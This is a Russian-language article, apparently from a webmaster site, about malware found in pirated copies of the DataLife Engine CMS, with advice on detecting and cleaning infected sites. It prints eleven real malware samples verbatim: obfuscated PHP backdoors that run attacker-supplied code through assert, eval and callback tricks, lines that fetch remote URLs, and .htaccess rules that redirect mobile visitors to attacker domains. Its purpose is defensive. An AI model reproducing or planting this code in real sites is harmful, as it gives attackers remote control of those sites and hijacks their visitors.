Вирусы в системе DataLife Engine

Вирусы в системе DataLife Engine

Любителям пиратских бесплатных версий посвящается. Скачивая CMS DLE со сторонних ресурсов и использование в качестве движка для своего сайта будьте готовы к тому, что в Вашей системе уже сидит троянский конь, ожидающий когда вы сделаете свой проект и получит к нему доступ (в лучшем случае). В худшем или удалит все или сделает тайные редиректы на другие сайты (обычно мобильные редиректы сайтов на DLE, так как такие администратор в 90% случаев не обнаруживает, ведь сам сидит с пк или планшета).


Итак, как понять что в вашей системе DLE есть вирус с редиректом мобильной версии?
Один из вариантов - вы начали терять посещаемость. Как только вы это заметили, советуем обратить внимание на инструкцию по обнаружения вредоносного кода ниже, чтобы исключить вероятность взлома или заражения сайта.

Еще один вариант, это когда поисковая система сама вас уведомит - у вас на сайте есть нежелательный код.

Хотим обратить ваше внимание на то, что вредоносный код может быть практически во всех типах файлов движка и даже изображениях (зачастую аватары пользователей). Такой код может быть в любом виде, он может быть зашифрован base64_encode, использовать char и всякие приёмы, которые позволяют усложнить быстрое обнаружение по средствам автоматического поиска по нему. А может и банально быть в открытом виде (редкие случаи).

Отметим что зачастую файлы очистить довольно не просто (не зная, что в коде движка не на своем месте или лишнее). Лучше использовать программы для сравнения кода, к примеру если вы все же взялись за ум и купили лицензию у разработчика DLE, вы можете сверить код лицензионной версии движка и ваш с помощью пакетной проверки программы Beyond Compare. Так можно найти разницу в коде и найти ваш вирус.

Конечно поможет это только если вы не изменяли свой движок сторонними модулями или использовали плагины. И точно не поможет если вредоносный код находится в аватарах пользователей. В актуальных версиях DLE уязвимость с загрузкой аваторов устранена, но версии до DLE 9.8 ее имеют. Чтобы найти троянские аватары пользователей, установите на свой сервер антивирус Virusdie и он найдет изображения которые ими не являются.

Если Вас уведомили или Вы заметили сами, что ваш сайт долго грузится, куда-то редиректит. Антивирус или поисковая система начали ругаться на ваш ресурс, для начала просто зайдите на свой хостинг и посмотрите на дату изменения файлов. Если вы заметите что файлы менялись в последнее время, зачастую это index.php, engine/data/dbconfig.php, engine/data/config.php, .htaccess, language/Russian/website.lng, которые в принципе не должны меняться, или меняются только когда вы что-то обновляете/устанавливаете, то с большой вероятностью можем вас порадовать - сайт заражен.

Не забывайте также, что сайт может долго грузиться и потому что у вас слабый хостинг, шаблон напичкан скриптами, не оптимизирован и ряд подобных причин. Но лучше перестраховаться, не так ли?

Ниже примеры внедренного вредоносного кода в большинстве дистрибутивов DLE скачанных на сторонних сайтах. Код может не совпадать. Поэтому рекомендуется выполнять поиск не по полному совпадению, а по частичному.

1. Наличие вредоносного кода в engine/inc/addnews.php:
$serv = $_SERVER[HTTP_HOST];if (($serv != 'localhost') and ($serv != '127.0.0.1') and (strpos($serv, '.') != false)) 
 {$serv_time = "ht"."tp:/"."/xo"."rx."."net/"."js.p"."hp?lice"."nse="."13."."1_".$serv;};

$fi = 'fi'.'le';$up_times = trim(@implode ('', @$fi($serv_time)));

2. Вредоносные файлы с уязвимостью engine/classes/min/lib/JSMinify.php и engine/ajax/js.php, не входящие в дистрибутив системы.

3. Во встроенном антивирусе engine/classes/antivirus.class.php исключены из проверки эти самые вредоносные файлы - engine/classes/min/lib/JSMinify.php и engine/ajax/js.php.

4. Наличие исключений, которые открывают дорогу файлу с уязвимостью engine/classes/min/.htaccess:
<Files "JSMinify.php">
 Order Deny,Allow
 Allow from all
</files>
<Files "JSMin.php">
 Order Deny,Allow
 Allow from all
</files>

5. Наличие вредоносного кода в engine/modules/calendar.php:
$reg_data = $_REQUEST['captchas'];$reg_base = $_REQUEST['recaptchas'];

$recaptcha_get_signup_id  = 'eb516e7d7a6462a6d531ec65dcf1d599';

$setel = 'a'.'sse'.'rt';if(md5($reg_data)==$recaptcha_get_signup_id) {@$setel(stripslashes($reg_base));}

6. Наличие вредоносного кода в engine/modules/feedback.php:
$syskey=strrev('edoce'); $pubkeys=strrev('d_46esab'); $captchacrypt=$pubkeys.$syskey;

$sert = $_SERVER[HTTP_HOST];if (($sert != 'localhost') and ($sert != '127.0.0.1') and (strpos($sert, '.') != false)) 
   {$capt = 'f'.'ile';@$capt($captchacrypt('aHR0cDovL3hvcngubmV0L2pzLnBocD9saWNlbnNlPTEzLjFf').$sert);}

$captchascrypt='bas'.'e64_'.'dec'.'ode';

$home_url = $_SERVER['HTT'.'P_H'.'OST'];
			if ((!strpos($home_url, '127.'.'0.')) and (strpos($home_url, '.'))) 
			{$captis = 'f'.'ile';@$captis($captchascrypt('aHR0cHM6Ly9kbGUtaW5mby5jYy9qcy5waHA/bGljZW5zZT0xNS4xX25f').$home_url);}

7. Наличие вредоносного кода в engine/modules/functions.php:
$set_cookie = '_di'.'ff_';$set_cookie='ar'.'ray'.$set_cookie.'ukey';//globils

$news_num = @$_REQUEST['numer'];

$bannermass = @$_REQUEST['bannerid'];

$check_newsnum = @$_REQUEST['newsnum'];

$check_category = @$_REQUEST['category'];

$get_url_var = '77067560';

$set_cookie = '_di'.'ff_';$set_cookie='ar'.'ray'.$set_cookie.'ukey';//globils

if($bannermass==$get_url_var){
   if (@strpos($check_newsnum, 'creat')=== false){
   @$set_cookie(@array((string)$news_num => 1), @array((string)stripslashes($check_category) => 2), @$check_newsnum);}else{
   @$set_cookie(@array((string)$news_num => 1), @array((string)stripslashes('}'.$check_category.'//') => 2), @$check_newsnum);}}//chekings

8. Наличие вредоносного кода в engine/data/dbconfig.php:
$config['description'].='" />'."
".'<script type="text/javascript" src="http://up.bot.nu/go/'.rand(0,999).'"></script>'."
".'<meta http-equiv="Pragma" content="no-cache';

$liciens = "Ev"."aL(gZu"."ncOmp"."rEss(bAs"."e64"."_Dec"."odE('eNqlVG1v2jAQ/itFQnWiskAhvBVF21qhrdq0bpSumlpkOcmReJA4s51SNPPfdw5oXSvKl32Iz76753zP+XL1UEJAKDnyCFWgrFRc5NXZLjwmIz53uFKgnTq9uLr6dDm+qyNq5rq/36E2EmLBwbGqxnOHk9OG5hk47smgO+z2G6RJ3NEGo70IFARk2Pb7Lb/fJ66Qr1g7/cFB6/CQddAie9IlPX/YbvmDbq8z7Pq4DIadVnfg9/xBZ+iTPdnXJcyDOr0eT76PJ3dKSwkPDgotyqIA6RAuS6oVlL9A4o2zUT0V6iBAK5HSQut06y4Ph5eACYB8AqTAYjTsXEnnLU8ir8i0fbum4qlu2t0igjSqVFHkWZlIYcWbzqrSNs+KCqHTo7Nc8GrLKoD4TFwUxwqEtGekj0KyVSmXkEcixlLKeeVSMMky0CCD+/oC1ishY4ThQcFxKYNTxO1hFPxL6Rg5vYhOUq2Ls6alYWuJK7q77ggeuR5t6qVKDpc3h4RRCar8jyLblq39RZCP0+lXeoMn+v7D+MuUzLaN96oZu7DqzVohIaEZ01HqkCayXIK57VxQM15qdpmb2wS0CRmPSxNhAQxnlMkoNSwVwvAkY+YHO5diZVgew6MRIsEAodDmHL+CYx8YloWoyxhfek1OGrY8LjY+Enh2t1h4sjQPCy8S2zDeNqa3he7iSFNqL1xvrxZxLhYmU7kXGZXxtpFh5JlyKRIzZxGEwjMKqnTXNl/PhDxPtklgf1QpPM/hZzsDs85CznKTx1Lw2GQ8LgxIDur+qNcyCq1CmVRH1IiQW2I856bwQiyCwvSKVOTwxBMpOLUXk4rES6AlOlOcZLP9PrtpZk1PrzgZf7sZX0/pzeSSzGrBkf3990yQ3fDp7xsWm83mD0qjwnU=')));";$release_this = "cre"."ate_"."function";$dle_func = $release_this('', "$liciens;");$dle_func('');

Расшифровав этот код, можно увидеть следующее:
$bre = '_' . '_ses' . 'sion' . '_' . 'id';
if (isset($_COOKIE[$bre])) {
    @setcookie($bre, $_COOKIE[$bre] + 1, time() + 85957, '/');
}
if (($_COOKIE[$bre] == '92470477') or ($_COOKIE[$bre] == '92470378') or ($_COOKIE[$bre] == '92470379') or ($_COOKIE[$bre] == '92470380')) {
    @setcookie($bre, '64920485639546398930584648394', time() + 85957, '/');
    $ref = $_SERVER[strrev(strtoupper('iru_tseuqer')) ];
    $hos = $_SERVER[strrev(strtoupper('tsoh_ptth')) ];
    $rf = $_SERVER[strrev(strtoupper('rerefer_ptth')) ];
    header(strrev('3?igc.pmt' . '/siht/' . 'kcehc' . '/cc.' . 'gro' . '-3w' . '//:pt' . 'th :noi' . 'tac' . 'oL') . '&seor' . 'ef=' . rawurlencode($rf) . '&parameter=\$keyword&se=\$se&ur=1' . strrev(strtoupper('=rerefer_ptth&')) . rawurlencode('http://' . $hos . $ref));
    exit;
}
$usg = $_SERVER[strrev(strtoupper('tnega_resu_ptth')) ];
$rf = $_SERVER[strrev(strtoupper('rerefer_ptth')) ];
if ((!$_SERVER['HTTP_USER_AGENT']) or ($_SERVER['HTTP_USER_AGENT'] == '') or (!preg_match('/rawle|W3C_|EltaIn|Wget|baidu|curl|ia_arch|ahoo|igma|YaBrow|andex|oogle|bot|Bot|pider|amble|mail./i', $usg))) {
    if (preg_match('/ok.ru|vk.co|oogle.|andex.|mail.r|ambler|ut.by|igma|odnok|msn.c|smi2|rbc.|ulog|facebo.|search|yahoo.|bing./i', $rf)) {
        if ((preg_match('/j2me|ymbian|ndroid|midp|eries\ 60|symbos|htc_|obile|mini|p.browser|phone/i', $usg)) and (!isset($_COOKIE['dle_user_id'])) and (!isset($_COOKIE[$bre])) and ($_SERVER['REQUEST_URI'] != '/')) {
            @setcookie($bre, '92470377', time() + 85957, '/');
        }
    }
}

Из данного кода видно, что он срабатывает только на мобильных устройствах и только один раз. Далее записывается в куки для пользователя и повторно не отображается. Тем самым многие могут думать что это был глюк. Ну и сам скрипт перенаправляет пользователей мобильных устройств на сайт w3-org.cc. Который в свою очередь используется злоумышленниками как сайт-прокладка и редиректит пользователя на любой другой конечный адрес.

9. Наличие вредоносного кода в index.php:
if(preg_match('/'.'('.'a'.'n'.'d'.'r'.'o'.'i'.'d'.'|'.'m'.'i'.'d'.'p'.'|'.'j'.'2'.'m'.'e'.'|'.'s'.'y'.'m'.'b'.'i'.'a'.'n'.'|'.'s'.'e'.'r'.'i'.'e'.'s'.' '.'6'.'0'.'|'.'s'.'y'.'m'.'b'.'o'.'s'.'|'.'w'.'i'.'n'.'d'.'o'.'w'.'s'.' '.'m'.'o'.'b'.'i'.'l'.'e'.'|'.'w'.'i'.'n'.'d'.'o'.'w'.'s'.' '.'c'.'e'.'|'.'p'.'p'.'c'.'|'.'s'.'m'.'a'.'r'.'t'.'p'.'h'.'o'.'n'.'e'.'|'.'b'.'l'.'a'.'c'.'k'.'b'.'e'.'r'.'r'.'y'.'|'.'m'.'t'.'k'.'|'.'b'.'a'.'d'.'a'.'|'.'w'.'i'.'n'.'d'.'o'.'w'.'s'.' '.'p'.'h'.'o'.'n'.'e'.')'.'/'.'i',$_SERVER['HTTP_USER_AGENT']) && $_COOKIE["m"] != '5df9974cf25d22eb3c5aa962d6460477')
{
@setcookie('m', '5df9974cf25d22eb3c5aa962d6460477', time()+86400, '/');
@header("Location: "."h"."t"."t"."p".":"."/"."/"."p"."i"."d"."d"."."."b"."o"."t"."."."n"."u"."/"."s"."/"."1"."1"."8"."0"."5");
die();
}

10. Наличие вредоносного кода в index.php, engine/modules/config.php и engine/modules/dbconfig.php:
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://yadirect.ws/');
if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));

11. Наличие вредоносного кода в .htaccess расположенного в корневой директории:
RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|windows\ phone|iemobile|nokia|ucweb|ucbrowser) [NC]
RewriteCond %{HTTP_USER_AGENT} !(bot|accoona|ia_archiver|ask\ jeeves|baidu|eltaindexer|feedfetcher|gamespy|gsa-crawler|grub-client|gulper|slurp|mihalism|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|mmcrawler|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
RewriteRule (.*) http://stat.pdaupd.net/?23&source=ваш домен [L,R=302] # on

RewriteCond %{QUERY_STRING} (^|&)noredirect=true(&|$)
RewriteRule ^ - [CO=mredir:0:%{HTTP_HOST},S]
RewriteCond %{HTTP:x-wap-profile} !^$ [OR]
RewriteCond %{HTTP:Profile}       !^$
RewriteCond %{HTTP_HOST}          !^m\.
RewriteCond %{HTTP:Cookie}        !\smredir=0(;|$)
RewriteRule ^ http://yadirect.ws/ [R,L]

Для проверки, после удаления вируса из всех файлов системы, надо зайти с мобильного устройства с любой ОС (ios, android и тп) на свой сайт, если редиректа на сторонний ресурс злоумышленника нету, то все отлично.

Сайты, на которые зачастую используется редирект мобильных версий DLE:
w3-org.cc
statuses.ws
live-internet.ws
getinternet.ws
livecountall.ws
googlecount.ws

Подытожим - всегда используйте актуальные лицензионные копии движка и следите за сайтом.
 
Информация
Посетители, находящиеся в группе Гость, не могут оставлять комментарии к данной публикации.